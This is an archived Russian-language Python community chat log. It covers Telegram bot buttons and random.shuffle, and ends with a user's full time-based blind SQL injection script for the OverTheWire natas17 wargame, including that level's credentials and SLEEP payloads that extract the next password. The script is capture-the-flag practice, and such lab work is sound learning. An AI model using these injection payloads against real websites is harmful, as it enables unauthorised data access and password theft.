Size: a a a

Сообщество Python Программистов

2020 March 18

AD

Andrey Dolgopolov in Сообщество Python Программистов
Парни, помогите реализовать задумку.
Есть бот, в нем зарегистрированные работники и работодатели. Работник создает заявку, публикует ее. После чего она приходит работникам. И вот сам вопрос, нужны что-бы было 2 кнопки на заявке, "подтвердить" и "отказаться", при нажатии на кнопку, работодателю приходило сообщение, тип тот отказался а тот согласился, как это лучше сделать?
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
Буду рад любой идеи
источник

JC

Julian Cesarion in Сообщество Python Программистов
Andrey Dolgopolov
Парни, помогите реализовать задумку.
Есть бот, в нем зарегистрированные работники и работодатели. Работник создает заявку, публикует ее. После чего она приходит работникам. И вот сам вопрос, нужны что-бы было 2 кнопки на заявке, "подтвердить" и "отказаться", при нажатии на кнопку, работодателю приходило сообщение, тип тот отказался а тот согласился, как это лучше сделать?
Бот тлг?
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
Да
источник

JC

Julian Cesarion in Сообщество Python Программистов
Документація апи с примарами +библиотеки подипайтон тоже с примерами
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
Найс ответ..
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
перечитай вопрос
источник

JC

Julian Cesarion in Сообщество Python Программистов
У тебе база?
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
Бензофуран Гетероцикл
У тебя после принта break
и что с того? Не понимаю
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
Да
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
мускул
источник

JC

Julian Cesarion in Сообщество Python Программистов
Так в чем проблема???
источник

JC

Julian Cesarion in Сообщество Python Программистов
В док есть подобные примеры
источник

AD

Andrey Dolgopolov in Сообщество Python Программистов
У тебя ответ не меняется, спасибо за помощь..
источник

€&

€×÷%_ &#€#¥... in Сообщество Python Программистов
источник

€&

€×÷%_ &#€#¥... in Сообщество Python Программистов
Что не так?
источник

l

let45fc in Сообщество Python Программистов
€×÷%_ &#€#¥
Что не так?
shuffle не возвращает новый объект, а тасует уже существующий
источник

l

let45fc in Сообщество Python Программистов
let45fc
shuffle не возвращает новый объект, а тасует уже существующий
Как такие функции называются, которые изменяют передающийся в них объект? Напрочь из головы вылетело
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
Егор Михайловский
Всем добрый вечер сейчас прохожу задания по вебу, пишу эксплоит на python3, короче хочу нормальную стилизацию сделать (как мне кажеться - нормально). Не могу понять где ошибка:

import requests  
from requests.auth import HTTPBasicAuth  
 
host='http://natas17.natas.labs.overthewire.org/index.php'
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers={'content-type': 'application/x-www-form-urlencoded'}  
filteredchars=''  
password=''  
allchars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
 
print('Waiting...')
for char in allchars:  
   payload='username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
   r=requests.post(host, auth=Auth, data=payload, headers=headers)  
   if(r.elapsed.seconds >= 1):  
       filteredchars+=char    
filteredchars="dghjlmpqsvwxyCDFIKOPR470"
print('Wordlist: '+filteredchars)
print('Progress: ',end='')

for i in range(32):  
   for char in filteredchars:  
       payload='username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(password + char)  
       r=requests.post(host, auth=Auth, data=payload, headers=headers)  
       if r.elapsed.seconds>=1:  
           password+=char  
           print('#',end='')  
           break
print('\n'+'-'*12+'Complete'+'-'*12+'\n')
print('Password: '+password)

Вобщем хочу чтобы выдавал Progress: и уже по мере продвижения печатал символ # вместе c end='' а в конце уже конечный результат.
"Ошибка" заключаеться в том, что он почему-то ждет пока завершиться цикл и выдает 32 символа # +  результат. А я хочу чтобы он выдавал результат по мере продвижения цикла, а не в конце.
думаю я нашел в чем была проблема, когда r=requests.post(...) и потом print('Hello...',end=''), то python ведет себя выше описанным образом, но если убрать end='' то все впринципе норм кроме того что печатает с новой строки.
источник

ЕМ

Егор Михайловский... in Сообщество Python Программистов
наверное сама проблема в requests или как?
источник